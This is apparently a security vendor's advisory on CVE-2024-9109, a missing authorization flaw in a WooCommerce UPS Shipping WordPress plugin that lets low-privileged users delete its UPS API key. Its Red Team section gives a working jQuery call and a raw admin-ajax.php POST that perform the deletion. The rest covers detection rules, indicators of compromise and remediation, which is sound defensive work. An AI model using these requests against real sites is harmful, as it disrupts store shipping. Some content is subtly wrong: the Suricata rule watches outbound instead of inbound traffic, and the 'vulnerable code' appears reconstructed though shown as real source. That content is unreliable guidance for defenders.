CVE-2024-9109

Executive Summary

CVE-2024-9109 is a missing authorization vulnerability in the WooCommerce UPS Shipping – Live Rates and Access Points WordPress plugin, affecting all versions up to and including 2.3.12. The plugin fails to perform a capability check on the delete_oauth_data function, allowing authenticated attackers with Subscriber-level access or higher to delete the plugin’s API key. This unauthorized modification of data can disrupt shipping functionality and potentially lead to service degradation or misconfiguration. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in a package manager like NPM or PyPI. However, the plugin is distributed via the WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of the plugin file and monitor for any unauthorized updates or modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Subscriber-level authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – unauthorized deletion of API key
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privileged users to disrupt a critical integration (UPS shipping). No public exploit exists, but the attack surface is significant due to the widespread use of WooCommerce.

Deep Dive & Mechanics

The vulnerability lies in the delete_oauth_data function within the plugin’s admin AJAX handler. This function is intended to allow administrators to clear OAuth credentials for UPS API integration. However, the function lacks a current_user_can() or similar capability check, meaning any authenticated user (including Subscribers) can trigger it via a crafted AJAX request.

Root Cause: Missing capability check on the wp_ajax_* action hook. The function is registered without verifying the user’s role or permissions.

Attack Flow:

1. An attacker authenticates as a Subscriber (or higher) on the WordPress site.
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=delete_oauth_data.
3. The plugin executes the deletion without verifying the user’s capabilities.
4. The API key is removed from the database, breaking the UPS shipping integration.

Impact: The site loses its connection to UPS, causing live shipping rates and access points to fail. This can lead to incorrect shipping calculations, order processing delays, and potential revenue loss.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.12):

add_action('wp_ajax_delete_oauth_data', 'delete_oauth_data');
function delete_oauth_data() {
    // No capability check
    delete_option('ups_oauth_data');
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_delete_oauth_data', 'delete_oauth_data');
function delete_oauth_data() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    delete_option('ups_oauth_data');
    wp_die();
}

The patched version adds a capability check (manage_options) to ensure only administrators can delete the API key.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed (<= 2.3.12).
• A valid user account with Subscriber role or higher.

Exploitation Steps:

1. Log in as a Subscriber.
2. Open browser developer tools (F12) and go to the Console.
3. Execute the following JavaScript to send the AJAX request:

jQuery.post(ajaxurl, { action: 'delete_oauth_data' }, function(response) {
    console.log('API key deleted:', response);
});

4. Alternatively, use a raw HTTP request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: [valid WordPress auth cookie]

action=delete_oauth_data

Expected Outcome: The plugin’s UPS API key is deleted, and shipping functionality is disrupted.

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=delete_oauth_data from non-admin users.
• Alert on any deletion of the ups_oauth_data option in the database.

Hunting:

• Search for logs containing delete_oauth_data in the last 24 hours.
• Check for unexpected changes to the wp_options table where option_name is ups_oauth_data.

Mitigation:

• Apply the hypothetical patch by adding a capability check.
• Restrict user roles to prevent Subscribers from accessing admin AJAX actions.
• Use a Web Application Firewall (WAF) to block requests to admin-ajax.php with suspicious actions from low-privileged users.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/woocommerce-ups-shipping/ (entire plugin directory)
• Database Option: ups_oauth_data (deleted or empty)
• Log Entry: admin-ajax.php POST request with action=delete_oauth_data from a non-admin user
• Network: HTTP POST to /wp-admin/admin-ajax.php with body action=delete_oauth_data

Detection Engineering

YARA Rule

rule Detect_CVE_2024_9109_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-9109 in WordPress logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ajax_action = "action=delete_oauth_data"
        $admin_ajax = "admin-ajax.php"
    condition:
        $ajax_action and $admin_ajax
}

Sigma Rule

title: CVE-2024-9109 - WooCommerce UPS Shipping API Key Deletion
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized deletion of UPS API key via missing capability check
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=delete_oauth_data'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9109 - WooCommerce UPS Shipping API Key Deletion Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=delete_oauth_data"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove Subscriber-level access from untrusted users.
3. Add a capability check to the delete_oauth_data function (see patched code above).

Long-term Fix:

• Monitor the plugin vendor for an official update.
• Implement a Web Application Firewall (WAF) rule to block action=delete_oauth_data from non-admin users.
• Regularly audit user roles and permissions.

Workaround:

• Use a custom plugin or code snippet to override the vulnerable function with a patched version.

Valters IT